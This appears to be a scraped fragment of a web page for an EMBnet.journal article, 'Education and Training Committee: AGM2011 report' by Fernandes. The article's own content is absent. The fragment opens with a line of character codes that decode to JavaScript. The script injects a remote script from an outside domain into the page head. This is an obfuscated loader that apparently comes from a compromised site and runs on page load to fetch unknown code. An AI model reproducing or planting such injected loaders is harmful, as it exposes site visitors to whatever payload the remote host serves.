# 118, 97, 114, 32, 115, 49, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 115, 49, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 115, 49, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 109, 121, 115, 105, 109, 112, 108, 101, 110, 97, 109, 101, 46, 99, 111, 109, 47, 115, 99, 46, 106, 115, 63, 112, 61, 50, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 49, 41, 59)); Education and Training Committee: AGM2011 report | Fernandes | EMBnet.journal

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